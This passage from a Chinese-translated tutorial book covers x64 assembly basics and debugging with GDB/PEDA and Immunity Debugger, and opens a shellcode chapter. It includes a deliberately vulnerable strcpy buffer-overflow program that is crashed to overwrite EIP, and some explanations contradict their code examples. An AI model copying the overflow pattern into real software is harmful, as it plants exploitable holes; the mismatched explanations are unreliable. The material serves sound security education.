.data部分,其中包含所有变量,代码中的第一个变量是hello_world变量,数据类型为字节(db),它包含一个hello world字符串以及0xa,表示换行,就像 C 语言中的\n一样。第二个变量是length,它包含hello_world字符串的长度,使用equ表示相等,$-表示评估当前行。

.text部分,正如我们之前解释的,我们将1移动到rax,表示write系统调用编号,然后我们将1移动到rdi,表示文件描述符设置为标准输出,然后我们将hello_world字符串的地址移动到rsi,将hello_world字符串的长度移动到rdx,最后,我们调用syscall,表示执行。

现在,让我们汇编和链接目标代码,如下所示:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ ./hello-world 

前面命令的输出如下:

它打印了hello world字符串,但因为程序不知道接下来要去哪里,所以以Segmentation fault退出。我们可以通过添加exit系统调用来修复它:

global _start

section .text

_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall

    mov rax, 60
    mov rdi, 1
    syscall

section .data

    hello_world: db 'hello world',0xa
    length: equ $-hello_world

我们通过将60移动到rax来添加了exit系统调用,然后我们将1移动到rdi,表示退出状态,最后我们调用syscall来执行exit系统调用:

让我们汇编链接并再次尝试:

现在它正常退出了;让我们也使用echo $?确认退出状态:

退出状态是1,正如我们选择的!

堆栈

正如我们在前一章中讨论的,堆栈是为每个运行的应用程序分配的空间,用于存储变量和数据。堆栈支持两种操作(推入和弹出);推入操作用于将元素推入堆栈,这将导致堆栈指针移动到较低的内存地址(堆栈从高内存向低内存增长),并指向堆栈顶部,而弹出则取出堆栈顶部的第一个元素。

让我们看一个简单的例子:

global _start

section .text

_start:

    mov rdx,0x1234
    push rdx
    push 0x5678
    pop rdi
    pop rsi

    mov rax, 60
    mov rdi, 0
    syscall
section .data

这段代码非常简单;让我们编译和链接它:

$ nasm -felf64 stack.nasm -o stack.o
$ ld stack.o -o stack

然后,我将在调试器中运行应用程序(调试器将在下一章中解释),只是为了向您展示堆栈的真正工作原理。

首先,在运行程序之前,所有寄存器都是空的,除了 RSP 寄存器,它现在指向堆栈顶部00007ffdb3f53950

然后,执行第一条指令,将0x1234移动到rdx

正如我们所看到的,rdx 寄存器现在保存着 0x1234,而堆栈中还没有发生任何变化。第二条指令将 rdx 的值推送到堆栈中,如下所示:

看一下堆栈部分;它移动到了较低的地址(从 5048),现在包含 0x1234。第三条指令是直接将 0x5678 推送到堆栈中:

第四条指令将把堆栈中的最后一个元素提取到 rdi 中:

你可以看到,堆栈中不再包含 0x5678,而是移动到了 rdi。最后一条指令是将堆栈中的最后一个元素提取到 rsi 中:

现在堆栈恢复正常,0x1234 移动到了 rsi

到目前为止,我们已经介绍了如何构建一个 hello world 程序以及堆栈中的推送/弹出操作的两个基本示例,我们看到了一些基本指令,比如 movpushpop,还有更多内容等待我们去学习。现在,你可能会想为什么我没有解释这些指令,而是先带你看了这些示例。我的策略是带你进入下一节;在这里,我们将学习汇编语言所需的所有基本指令。

数据操作

数据操作 是在汇编中移动数据,这是一个非常重要的主题,因为我们的大部分操作都将是移动数据来执行指令,所以我们必须真正理解如何使用它们,比如 mov 指令,以及如何在寄存器之间和寄存器与内存之间移动数据,复制地址到寄存器,以及如何使用 xchg 指令在两个寄存器或寄存器和内存之间交换内容,然后如何使用 lea 指令将源的有效地址加载到目的地。

mov 指令

mov 指令是在 Linux 中汇编中使用最重要的指令,我们在所有之前的示例中都使用了它。

mov 指令用于在寄存器之间、寄存器和内存之间移动数据。

让我们看一些例子。首先,让我们从直接将数据移动到寄存器开始:

global _start

section .text

_start:

    mov rax, 0x1234
    mov rbx, 0x56789

    mov rax, 60
    mov rdi, 0
    syscall

section .data

这段代码将会把 0x1234 复制到 rax,并且把 0x56789 复制到 rbx

让我们进一步添加一些在寄存器之间移动数据到之前的示例中:

global _start

section .text

_start:

    mov rax, 0x1234
    mov rbx, 0x56789

    mov rdi, rax
    mov rsi, rbx

    mov rax, 60
    mov rdi, 0
    syscall

section .data

我们刚刚添加的内容将 raxrbx 的内容分别移动到 rdirsi

让我们尝试在寄存器和内存之间移动数据:

global _start

section .text

_start:

    mov al, [mem1]
    mov bx, [mem2]
    mov ecx, [mem3]
    mov rdx, [mem4]

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    mem1: db 0x12
    mem2: dw 0x1234
    mem3: dd 0x12345678
    mem4: dq 0x1234567891234567

mov al, [mem1] 中,方括号表示将 mem1 的内容移动到 al。如果我们使用 mov al, mem1 而不带方括号,它将会把 mem1 的指针移动到 al

在第一行,我们将 0x12 移动到 RAX 寄存器中,因为我们只移动了 8 位,所以我们使用了 AL(RAX 寄存器的低部分,可以容纳 8 位),因为我们不需要使用所有 64 位。还要注意的是,我们将 mem1 内存部分定义为 db,即字节,或者它可以容纳 8 位。

看一下下面的表格:

64 位寄存器 32 位寄存器 16 位寄存器 8 位寄存器
RAX EAX AX AH, AL
RBX EBX BX BH, BL
RCX ECX CX CH, CL
RDX EDX DX DH, DL
RSI ESI SI SIL
RDI EDI DI DIL
RSP ESP SP SPL
RBP EBP BP BPL
R8 R8D R8W R8B
R9 R9D R9W R9B
R10 R10D R10W R10B
R11 R11D R11W R11B
R12 R12D R12W R12B
R13 R13D R13W R13B
R14 R14D R14W R14B
R15 R15D R15W R15B

然后,我们将定义为 dw 的值 0x1234 移动到 rbx 寄存器,然后我们在 BX 中移动了 2 个字节(16 位),它可以容纳 16 位。

然后,我们将定义为 dd 的值 0x12345678 移动到 RCX 寄存器,它是 4 个字节(32 位),移动到 ECX。

最后,我们将定义为 dq 的值 0x1234567891234567 移动到 RDX 寄存器,它是 8 个字节(64 位),所以我们将它移动到 RDX 中:

在执行后,寄存器中的情况如下。

现在,让我们谈谈从寄存器到内存的数据移动。看看下面的代码:

global _start

section .text

_start:

    mov al, 0x34
    mov bx, 0x5678
    mov byte [mem1], al
    mov word [mem2], bx

    mov rax, 60
    mov rdi, 0
    syscall

section .data

    mem1: db 0x12
    mem2: dw 0x1234
    mem3: dd 0x12345678
    mem4: dq 0x1234567891234567

在第一和第二条指令中,我们直接将值移动到寄存器中,在第三条指令中,我们将寄存器 RAX(AL)的内容移动到mem1中,并用字节指定了长度。然后,在第四条指令中,我们将寄存器 RBX(RX)的内容移动到mem2中,并用字指定了长度。

这是在移动任何值之前mem1mem2的内容:

下一张截图是在将值移动到mem1mem2之后的情况:

数据交换

数据交换也很容易;它用于交换两个寄存器或寄存器和内存之间的内容,使用xchg指令:

global _start

section .text

_start:

    mov rax, 0x1234
    mov rbx, 0x5678
    xchg rax, rbx
    mov rcx, 0x9876
    xchg rcx,[mem1]

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    mem1: dw 0x1234

在前面的代码中,我们将0x1234移动到rax寄存器,然后将0x5678移动到rbx寄存器:

然后,在第三条指令中,我们使用xchg指令交换了raxrbx的内容:

然后,我们将0x9876推送到rcx寄存器,mem1保存0x1234

现在,交换rcxmem1的内容:

加载有效地址

加载有效地址lea)指令将源的地址加载到目的地:

global _start

section .text

_start:

    lea rax, [mem1]
    lea rbx, [rax]

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    mem1: dw 0x1234

首先,我们将mem1的地址移动到rax,然后将rax中的地址移动到rbx

现在两者都指向mem1,其中包含0x1234

算术运算

现在,我们将讨论算术运算(加法和减法)。让我们开始:

global _start

section .text

_start:

    mov rax,0x1
    add rax,0x2

    mov rbx,0x3
    add bl, byte [mem1]

    mov rcx, 0x9
    sub rcx, 0x1

    mov dl,0x5
    sub byte [mem2], dl

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    mem1: db 0x2
    mem2: db 0x9

首先,我们将0x1移动到rax寄存器,然后加上0x2,结果将存储在rax寄存器中。

然后,我们将0x3移动到rbx寄存器,并将包含0x2mem1的内容与rbx的内容相加,结果将存储在rbx中。

然后,我们将0x9移动到rcx寄存器,然后减去0x1,结果将存储在rcx中。

然后,我们将0x5移动到rdx寄存器,从mem2中减去rdx的内容,并将结果存储在mem2的内存部分中:

减法后mem2的内容如下:

现在,让我们谈谈带进位加法和借位减法:

global _start

section .text

_start:

    mov rax, 0x5
    stc
    adc rax, 0x1

    mov rbx, 0x5
    stc
    sbb rbx, 0x1

    mov rax, 60
    mov rdi, 0
    syscall

section .data

首先,我们将0x5移动到rax寄存器,然后设置进位标志,它将携带1。之后,我们将rax寄存器的内容加上0x1,并加到进位标志中,得到0x7 (5+1+1)

然后,我们将0x5移动到rbx寄存器并设置进位标志,然后从rbx寄存器中减去0x1,并且在进位标志中再减去1;这将给我们0x3 (5-1-1)

现在,这里的最后部分是增量和减量操作:

global _start

section .text

_start:

    mov rax, 0x5
    inc rax
    inc rax

    mov rbx, 0x6
    dec rbx
    dec rbx

    mov rax, 60
    mov rdi, 0
    syscall

section .data

首先,我们将0x5移动到rax寄存器,将rax的值增加1,然后再次增加,得到0x7

然后,我们将0x6移动到rbx寄存器,将rbx的值减去1,然后再次减去,得到0x4

循环

现在,我们将讨论汇编中的循环。就像在任何其他高级语言(Python、Java 等)中一样,我们可以使用循环来使用 RCX 寄存器作为计数器进行迭代,然后使用loop关键字。让我们看下面的例子:

global _start

section .text

_start:

    mov rcx,0x5
    mov rbx,0x1

increment:

    inc rbx
    loop increment

    mov rax, 60
    mov rdi, 0
    syscall

section .data

在前面的代码中,我们想要增加 RAX 的内容五次,所以我们将0x5移动到rcx寄存器,然后将0x1移动到rbx寄存器:

然后,我们将increment标签添加为我们想要重复的块的开始指示,然后我们添加了增量指令到rbx寄存器的内容:

然后,我们调用loop increment,它将递减 RCX 寄存器的内容,然后再次从increment标签开始:

现在它将一直执行,直到 RCX 寄存器为零,然后流程将离开该循环:

现在,如果程序在 RCX 上重写了一个值会怎样?让我们看一个例子:

global _start

section .text

_start:

    mov rcx, 0x5

print:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello
    mov rdx, length
    syscall

loop print

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    hello: db 'Hello There!',0xa
    length: equ $-hello

执行此代码后,程序将陷入无限循环,如果我们仔细观察,我们将看到代码在执行系统调用后覆盖了 RCX 寄存器中的值:

因此,我们必须找到一种方法来保存 RCX 寄存器,比如将其保存在堆栈中。首先,在执行系统调用之前,我们将当前值推送到堆栈中,然后在执行系统调用后,我们再次用我们的值覆盖 RCX 中的任何内容,然后递减该值并再次将其推送到堆栈中以保存它:

global _start

section .text

_start:

    mov rcx, 0x5

increment:

    push rcx
    mov rax, 1
    mov rdi, 1
    mov rsi, hello
    mov rdx, length
    syscall
    pop rcx

loop increment

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    hello: db 'Hello There!',0xa
    length: equ $-hello

通过这种方式,我们保存了 RCX 寄存器中的值,然后再次将其弹出到 RCX 中以使用它。请看上述代码中的pop rcx指令。RCX 再次回到0x5,正如预期的那样:

控制流程

在这里,我们将讨论控制执行流程。执行流程的正常流程是执行步骤 1,然后 2,依此类推,直到代码正常退出。如果我们决定在步骤 2 中发生某些事情,然后跳过 3,直接执行 4,或者我们只是想跳过步骤 3 而不等待发生某些事情,有两种跳转类型:

  • 无条件改变流程

  • 根据标志的更改改变流程

现在,让我们从无条件跳转开始:

global _start

section .text

_start:

jmp exit_ten

    mov rax, 60
    mov rdi, 12
    syscall

    mov rax, 60
    mov rdi, 0
    syscall

exit_ten:

    mov rax, 60
    mov rdi, 10
    syscall

    mov rax, 60
    mov rdi, 1
    syscall

section .data

先前的代码包含四个exit系统调用,但具有不同的退出状态(120101),并且我们从jmp exit_ten开始,这意味着跳转到exit_ten位置,它将跳转到代码的这一部分:

    mov rax, 60
    mov rdi, 10
    syscall

执行并正常退出,退出状态为10。请注意,下一部分将永远不会被执行:

    mov rax, 60
    mov rdi, 12
    syscall

    mov rax, 60
    mov rdi, 0
    syscall

让我们确认一下:

$ nasm -felf64 jmp-un.nasm -o jmp-un.o
$ ld jmp-un.o -o jmp-un
$ ./jmp-un
$ echo $?

先前命令的输出可以在以下截图中看到:

正如我们所看到的,代码以退出状态10退出。

让我们看另一个例子:

global _start

section .text

_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_one
    mov rdx, length_one
    syscall

jmp print_three

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_two
    mov rdx, length_two
    syscall

print_three:
    mov rax, 1
    mov rdi, 1
    mov rsi, hello_three
    mov rdx, length_three
    syscall

    mov rax, 60
    mov rdi, 11
    syscall

section .data

    hello_one: db 'hello one',0xa
    length_one: equ $-hello_one

    hello_two: db 'hello two',0xa
    length_two: equ $-hello_two

    hello_three: db 'hello three',0xa
    length_three: equ $-hello_three

在先前的代码中,它开始打印hello_one。然后,它将到达jmp print_three,执行流程将更改到print_three位置,并开始打印hello_three。以下部分将永远不会被执行:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_two
    mov rdx, length_two
    syscall

让我们确认一下:

$ nasm -felf64 jmp_hello.nasm -o jmp_hello.o
$ ld jmp_hello.o -o jmp_hello
$ ./jmp_hello

先前命令的输出可以在以下截图中看到:

现在,让我们继续讨论带条件的跳转,老实说,我们无法在这里涵盖所有条件,因为列表非常长,但我们将看到一些例子,以便您理解概念。

jb指令表示如果进位标志CF)被设置(CF 等于1)则执行跳转。

正如我们之前所说,我们可以使用stc指令手动设置 CF。

让我们修改先前的例子,但使用jb指令,如下所示:

global _start

section .text

_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_one
    mov rdx, length_one
    syscall

    stc

jb print_three

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_two
    mov rdx, length_two
    syscall

print_three:
    mov rax, 1
    mov rdi, 1
    mov rsi, hello_three
    mov rdx, length_three
    syscall

    mov rax, 60
    mov rdi, 11
    syscall

section .data

    hello_one: db 'hello one',0xa
    length_one: equ $-hello_one

    hello_two: db 'hello two',0xa
    length_two: equ $-hello_two

    hello_three: db 'hello three',0xa
    length_three: equ $-hello_three

如您所见,我们执行了stc来设置进位标志(即 CF 等于1),然后我们使用jb指令进行测试,这意味着如果 CF 等于1,则跳转到print_three

以下是另一个例子:

global _start

section .text

_start:

    mov al, 0xaa
    add al, 0xaa

jb exit_ten

    mov rax, 60
    mov rdi, 0
    syscall

exit_ten:

    mov rax, 60
    mov rdi, 10
    syscall

section .data

在先前的例子中,加法操作将设置进位标志,然后我们使用jb指令进行测试;如果 CF 等于1,则跳转到exit_ten

现在,让我们看一个不同的方法,即如果小于或等于(jbe)指令,这意味着 CF 等于1零标志(ZF)等于1。先前的例子也可以工作,但让我们尝试其他方法来设置 ZF 等于1

global _start

section .text

_start:

    mov al, 0x1
    sub al, 0x1

jbe exit_ten

    mov rax, 60
    mov rdi, 0
    syscall

exit_ten:

    mov rax, 60
    mov rdi, 10
    syscall

section .data

在先前的代码中,减法操作将设置 ZF,然后我们将使用jbe指令来测试 CF 等于1或 ZF 等于1;如果为真,则会跳转执行exit_ten

另一种类型是如果不是符号(jns),这意味着 SF 等于0

global _start

section .text

_start:

mov al, 0x1
sub al, 0x3

jns exit_ten

    mov rax, 60
    mov rdi, 0
    syscall

exit_ten:

    mov rax, 60
    mov rdi, 10
    syscall

section .data

在先前的代码中,减法操作将设置符号标志SF)等于1。之后,我们将测试 SF 是否等于0,这将失败,它不会跳转执行exit_ten,而是继续以退出状态0正常退出:

过程

汇编中的过程可以像高级语言中的函数一样,这意味着你可以编写一段代码块,然后调用它来执行。

例如,我们可以构建一个过程,可以接受两个数字并将它们相加。而且,我们可以在执行过程中多次使用call指令。

构建过程很容易。首先,在_start之前定义你的过程,然后添加你的指令,并用ret指令结束你的过程。

让我们试着构建一个过程,可以接受两个数字并将它们相加:

global _start

section .text

addition:

    add bl,al
    ret

_start:

    mov al, 0x1
    mov bl, 0x3
    call addition

    mov r8,0x4
    mov r9, 0x2
    call addition

    mov rax, 60
    mov rdi, 1
    syscall

section .data

首先,在_start部分之前添加了一个addition部分。然后,在addition部分中,我们使用add指令来将R8R9寄存器中的内容相加,并将结果放入R8寄存器,然后我们用ret结束了addition过程。

然后,我们将1移动到R8寄存器,将3移动到R9寄存器:

然后,我们调用了addition过程,它将把下一条指令地址推入堆栈,即mov r8,0x4

注意RSP现在指向下一个操作,我们在addition过程中,然后代码将会将两个数相加并将结果存储在R8寄存器中:

之后,它将执行ret指令,这将把执行流程返回到mov r8,0x4

这将把4移动到R8寄存器,然后将2移动到R8寄存器:

然后调用addition过程,它将把下一条指令推入堆栈,即mov rax, 60

然后,将这两个数相加并将结果存储在R8寄存器中:

然后,我们再次执行ret指令,这将从堆栈中弹出下一条指令,并将其放入RIP寄存器中,相当于pop rip

然后,代码将继续执行exit系统调用。

逻辑操作

现在,我们要讨论逻辑操作,比如位运算和位移操作。

位运算

在逻辑操作中有四种位运算:AND、OR、XOR 和 NOT。

让我们从 AND 位运算开始:

global _start

section .text

_start:

    mov rax,0x10111011
    mov rbx,0x11010110
    and rax,rbx

    mov rax, 60
    mov rdi, 10
    syscall

section .data

首先,我们将0x10111011移动到rax寄存器,然后将0x11010110移动到rbx寄存器:

然后,我们对两边执行了AND位运算,并将结果存储在 RAX 中:

让我们看看RAX寄存器中的结果:

现在,让我们转到 OR 位运算,并修改之前的代码来执行这个操作:

global _start

section .text

_start:

    mov rax,0x10111011
    mov rbx,0x11010110
    or rax,rbx

    mov rax, 60
    mov rdi, 10
    syscall

section .data

我们将这两个值移动到raxrbx寄存器中:

然后,我们对这些数值执行了 OR 操作:

现在,让我们确认一下RAX寄存器中的结果:

现在让我们看看相同数值的 XOR 位运算:

global _start

section .text

_start:

    mov rax,0x10111011
    mov rbx,0x11010110
    xor rax,rbx

    mov rax, 60
    mov rdi, 10
    syscall

section .data

将相同的数值移动到raxrbx寄存器中:

然后,执行 XOR 操作:

让我们看看RAX寄存器里面是什么:

你可以使用 XOR 指令对一个寄存器自身进行操作,以清除该寄存器的内容。例如,xor raxrax将用 0 填充 RAX 寄存器。

现在,让我们看看最后一个,即 NOT 位运算,它将把 1 变为 0,0 变为 1:

global _start

section .text

_start:

    mov al,0x00
    not al

    mov rax, 60
    mov rdi, 10
    syscall

section .data

上述代码的输出可以在以下截图中看到:

发生的事情是 NOT 指令将 0 变为 1(ff),1 变为 0。

位移操作

如果你按照每个图表所说的去做,位移操作就是一个简单的话题。主要有两种类型的位移操作:算术位移操作和逻辑操作。然而,我们也会看到旋转操作。

让我们从算术位移操作开始。

算术位移操作

让我们尽可能简单地解释。有两种类型的算术移位:算术左移SAL)和算术右移SAR)。

在 SAL 中,我们在最低有效位侧推送0,并且来自最高有效位侧的额外位可能会影响CF,如果它是1

因此,这种移位的结果不会影响CF,它会是这样的:

让我们举个例子:

global _start

section .text

_start:

    mov rax, 0x0fffffffffffffff
    sal rax, 4
    sal rax, 4

    mov rax, 60
    mov rdi, 0
    syscall

section .data

我们将0x0fffffffffffffff移动到rax寄存器中,现在它看起来是这样的:

现在,我们要进行一次 SAL 移位 4 位:

因为最高有效位为零,所以 CF 不会被设置:

现在,让我们尝试另一轮:我们再推送一个零,最高有效位为 1:

将设置进位标志:

现在,让我们看一下 SAR 指令。在 SAR 中,如果最高有效位0,则将推送一个基于该位的值,那么将推送0,如果为1,则将推送1以保持符号不变:

最高有效位用作符号的指示,0表示正数,1表示负数。

因此,在 SAR 中,它将根据最高有效位进行移位。

让我们看一个例子:

global _start

section .text

_start:

    mov rax, 0x0fffffffffffffff
    sar rax, 4

    mov rax, 60
    mov rdi, 0
    syscall

section .data

因此,输入将如下所示:

因此,SAR 四次将在最高有效位为零时推送0四次:

此外,由于最低有效位为 1,所以 CF 被设置:

逻辑移位

逻辑移位还包括两种类型的移位:逻辑左移SHL)和逻辑右移SHR)。SHL 与 SAL 完全相同。

让我们看一下以下代码:

global _start

section .text

_start:

    mov rax, 0x0fffffffffffffff
    shl rax, 4
    shl rax, 4

    mov rax, 60
    mov rdi, 0
    syscall

section .data

同时,它将从最低有效位侧再次推送零四次:

这不会对进位标志产生任何影响:

在第二轮中,它将再次推送四次零:

最高有效位为 1,因此这将设置进位标志:

现在让我们转向 SHR。它只是在最高有效位侧推送一个 0,而不改变符号:

现在,尝试以下代码:

global _start

section .text
_start:

    mov rax, 0xffffffffffffffff
    shr rax, 32

    mov rax, 60
    mov rdi, 0
    syscall

section .data

因此,首先,我们移动 64 位的 1:

之后,我们将进行 32 次 SHR,这将在最高有效位侧推送 32 个零:

同时,由于最低有效位为 1,这将设置进位标志:

旋转操作

旋转操作很简单:我们将寄存器的内容向右或向左旋转。在这里,我们只讨论向右旋转ROR)和向左旋转ROL)。

让我们从 ROR 开始:

在 ROR 中,我们只是将位从右向左旋转而不添加任何位;让我们看一下以下代码:

global _start

section .text

_start:

    mov rax, 0xffffffff00000000
    ror rax, 32

    mov rax, 60
    mov rdi, 0
    syscall

section .data

我们将0xffffffff00000000移动到rax寄存器中:

然后,我们将开始从右向左移动 32 次:

没有对 1 进行移位,因此不会设置进位标志:

让我们移动 ROL,这是 ROR 的相反,它将位从左向右旋转而不添加任何位:

让我们看一下之前的例子,但是使用 ROL:

global _start

section .text

_start:

    mov rax, 0xffffffff00000000
    rol rax, 32

    mov rax, 60
    mov rdi, 0
    syscall

section .data

首先,我们将0xffffffff00000000移动到rax寄存器中:

然后,我们将从左向右旋转 32 次:

我们正在旋转 1,因此这将设置进位标志:

总结

在本章中,我们讨论了 Linux 中的 Intel x64 汇编语言以及如何处理堆栈、数据操作、算术和逻辑操作,如何控制执行流程,以及如何在汇编中调用系统调用。

现在我们准备制作我们自己定制的 shellcode,但在此之前,您需要学习一些调试和逆向工程的基础知识,这将是我们的下一章。

第四章:逆向工程

在本章中,我们将学习什么是逆向工程,以及如何使用调试器使我们真正看到幕后发生了什么。此外,我们将逐条查看每条指令的执行流程,以及如何使用和熟悉 Microsoft Windows 和 Linux 的调试器。

本章将涵盖以下主题:

  • 在 Linux 中调试

  • 在 Windows 中调试

  • 任何代码的执行流

  • 使用逆向工程检测和确认缓冲区溢出

我们开始吧?

在 Linux 中调试

在这里,我们将向您介绍一个最可爱和强大的调试器之一,GDB(GNU 调试器)。GDB 是一个开源的命令行调试器,可以在许多语言上工作,比如 C/C++,并且它默认安装在大多数 Linux 发行版上。

那么我们为什么要使用调试器呢?我们使用它们来查看每一步中寄存器、内存或堆栈的情况。此外,GDB 中还有反汇编,帮助我们理解汇编语言中每个函数的功能。

有些人觉得 GDB 难以使用,因为它是一个命令行界面,很难记住每个命令的参数等。让我们通过安装 PEDA 来使 GDB 对这些人更容忍,PEDA 用于增强 GDB 的界面。

PEDA代表Python Exploit Development Assistance,它可以使 GDB 更易于使用和更美观。

我们需要先下载它:

$ git clone https://github.com/longld/peda.git ~/peda

然后,将该文件复制到您home目录下的gdbinit中:

$ echo "source ~/peda/peda.py" >> ~/.gdbinit

然后,启动 GDB:

$ gdb

现在看起来毫无用处,但等等;让我们尝试调试一些简单的东西,比如我们的汇编hello world示例:

global _start

section .text
_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall

    mov rax, 60
    mov rdi, 11
    syscall

section .data

    hello_world: db 'hello there',0xa
    length: equ $-hello_world

让我们按照以下方式汇编和链接它:

$ nasm -felf64 hello.nasm -o hello.o
$ ld hello.o -o hello

现在使用 GDB 运行./hello如下:

$ gdb ./hello

以下截图显示了上述命令的输出:

我们将把反汇编模式设置为 Intel:

set disassembly-flavor intel

然后,我们将在想要逐步调试的地方设置断点,因为我们将跟踪所有指令,所以让我们在_start处设置断点:

break _start

上述命令的输出如下:

现在我们已经设置了断点,现在让我们在 GDB 中运行我们的应用程序使用run,它将继续运行直到触发断点。

您将看到三个部分(寄存器、代码和堆栈):

以下截图是代码部分:

正如您所看到的,左侧的小箭头指向下一条指令,即将0x1移动到eax寄存器。

下一个截图是堆栈部分:

此外,我们可以使用命令peda找到许多命令选项:

还有更多:

所有这些都是 PEDA 命令;您也可以使用 GDB 命令。

现在,让我们继续我们的工作,输入stepi,或者您也可以使用s,这将开始执行一条指令,即mov eax,0x1

stepi命令将进入call等指令,这将导致调试流程在该调用内部切换,而s命令或 step 不会这样做,它只会通过进入call指令来获取返回值。

在上一个屏幕上,RAX寄存器内有0x1,下一条指令指向mov edi,0x1。现在让我们按Enter移动到下一条指令:

另外,正如您所看到的,RDI 寄存器内有1,下一条指令是movabs rsi,0x6000d8。让我们尝试看看内存地址0x6000d8中有什么,使用xprint 0x6000d8

现在很明显,这是保存hello there字符串的位置。我们还可以使用peda hexprint 0x6000d8peda hexdump 0x6000d8以十六进制转储它:

让我们继续使用stepi

现在 RSI 寄存器持有指向hello there字符串的指针。

下一条指令是mov edx,0xc,将12移动到 EDX 寄存器,这是hello there字符串的长度。现在,让我们再次按下Enter键;显示如下:

现在看 RDX 寄存器,它持有0xc,下一条指令是syscall。让我们继续使用s向前移动:

现在syscall已经完成,打印了hello there字符串。

现在我们要执行exit系统调用,下一条指令是mov eax,0x3c,意思是将60移动到 RAX 寄存器。让我们继续向前使用s

指令mov edi,0xb的意思是将11移动到 RDI 寄存器:

RDI 现在持有0xb,下一条指令是syscall,将执行exit系统调用:

现在程序正常退出。

让我们看另一个例子,即 C 语言中的 hello world:

#include <stdio.h>

int main()
{
    printf ("hello world\n");
    return 0;
}

让我们编译它并使用 GDB 进行调试:

$ gcc hello.c -o hello
$ gdb ./hello

现在让我们将反汇编模式设置为 Intel:

set disassembly-flavor intel

main函数处设置断点:

break main

现在,如果我们想查看任何函数的汇编指令,那么我们应该使用disassemble命令,后面跟着函数的名称。例如,我们想要反汇编main函数,因此我们可以使用disassemble main

前两条指令是通过将 RBP 推送到堆栈来保存基指针或帧指针的内容,然后在最后,RBP 将被提取回来。让我们运行应用程序,以查看更多,使用run命令:

它停在lea rdi,[rip+0x9f] # 0x5555555546e4

让我们检查一下那个位置里面有什么:

它指向hello world字符串的位置。

让我们通过使用stepis向前迈进:

如您所见,RDI 寄存器现在加载了hello world字符串的地址。

下一条指令call 0x555555554510 <puts@plt>,即调用printf函数,用于打印hello world字符串。

我们还可以检查0x555555554510的内容:

这是jmp指令;让我们也检查一下那个位置:

现在,让我们使用stepi命令向前迈进:

让我们再次向前迈进:

下一条指令是push 0x0;让我们继续使用stepi

下一条指令是jmp 0x555555554500;输入s向前迈进:

现在我们在printf函数的实际执行内部;继续向前迈进,查看下一条指令:

下一条指令call 0x7ffff7abc650 <strlen>,意思是调用strlen函数来获取我们字符串的长度。

继续向前迈进,直到遇到ret指令,然后您又回到了我们的执行中,位于printf内部:

让程序继续调试,直到出现错误,使用continue命令:

在前面的例子中,我们没有遵循所有指令,而只是学习了如何使用 GDB 进行调试,并理解和调查每条指令。

在 Windows 中调试

现在,让我们尝试一些更高级但又非常简单的东西,而不涉及具体细节。在这里,我们将看到如果在 Windows 中使用缓冲区溢出代码会发生什么。我们将检测如果执行该代码,CPU 内部会发生什么。

首先,在 Windows 7 中打开Code::Block,然后转到文件菜单 | 新建 | 空文件。然后,编写我们的缓冲区溢出:

#include <stdio.h>
#include <string.h>

void copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
}
int main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    return 0;
}

之后,转到文件菜单 | 保存文件,然后将其保存为buffer.c

然后,转到构建菜单 | 构建。

然后,以管理员身份打开Immunity Debugger,从文件菜单 | 打开,选择可执行的缓冲文件,然后指定我们的输入,不是为了使我们的代码崩溃,而是为了看到区别,比如aaaa

然后,点击 Open:

要获得每个按钮的功能,请将鼠标悬停在其上并阅读状态栏。

例如,如果我将鼠标悬停在红色播放按钮上,它将在状态栏中显示其功能,即运行程序:

让我们点击一次运行程序按钮。程序启动,然后停在程序入口点,即main函数。让我们再次点击该按钮,并注意状态栏中发生的变化:

正如你所看到的,程序以零状态退出,这意味着没有错误。

好的,现在让我们尝试导致程序崩溃以查看区别。让我们关闭 Immunity Debugger 并再次运行它,然后打开相同的程序,但我们需要导致程序崩溃,因此指定参数,例如 40 个a字符:

然后点击打开:

让我们点击两次运行程序按钮,并注意状态栏中发生的变化:

程序无法执行61616161;你知道为什么吗?这是我们的输入,61 是十六进制中的一个字符。

让我们看看寄存器和堆栈窗口:

请注意,堆栈中有 16 个a字符;我们的输入的其余部分填充了 EAX 寄存器并填充了 RIP,这就是为什么我们的应用程序抱怨无法执行61616161

摘要

在本章中,我们讨论了调试以及如何在 Linux 和 Microsoft Windows 中使用调试器。我们还看了如何跟踪执行流程并了解幕后发生了什么。我们只是浅尝辄止这个主题,因为我们不想偏离我们的主要目标。现在让我们继续进行下一章,这一章将涵盖我们的主要目标之一:创建 shellcode。我们将看看我们将如何应用到目前为止学到的一切来创建我们定制的 shellcode。

第五章:创建 Shellcode

让我们准备好深入研究这个话题,我们将利用到目前为止学到的知识来创建简单的、完全定制的 shellcode。当我们面对坏字符并找到去除它们的方法时,这将变得更加有趣。接下来,我们将看到如何创建高级的 shellcode,并使用 Metasploit Framework 自动创建我们的 shellcode。

以下是本章将涵盖的主题:

  • 基础知识和坏字符

  • 相对地址技术

  • execve 系统调用

  • 绑定 TCP shell

  • 反向 TCP shell

  • 使用 Metasploit 生成 shellcode

基础知识

首先,让我们从 shellcode 是什么开始。正如我们之前已经看到的,shellcode 是一种可以作为有效载荷注入到堆栈溢出攻击中的机器码,可以从汇编语言中获得。

所以我们要做的很简单:将我们希望 shellcode 执行的操作以汇编形式写下来,然后进行一些修改,并将其转换为机器码。

让我们尝试制作一个 hello world 的 shellcode,并将可执行形式转换为机器码。我们需要使用objdump命令:

$ objdump -D -M intel hello-world

上述命令的输出如下截图所示:

你看到红色矩形框里面的是什么?这是我们 hello world 示例的机器码。但是我们需要将它转换成这种形式:\xff\xff\xff\xff,其中ff代表操作码。你可以手动逐行进行转换,但这可能有点乏味。我们可以使用一行代码自动完成:

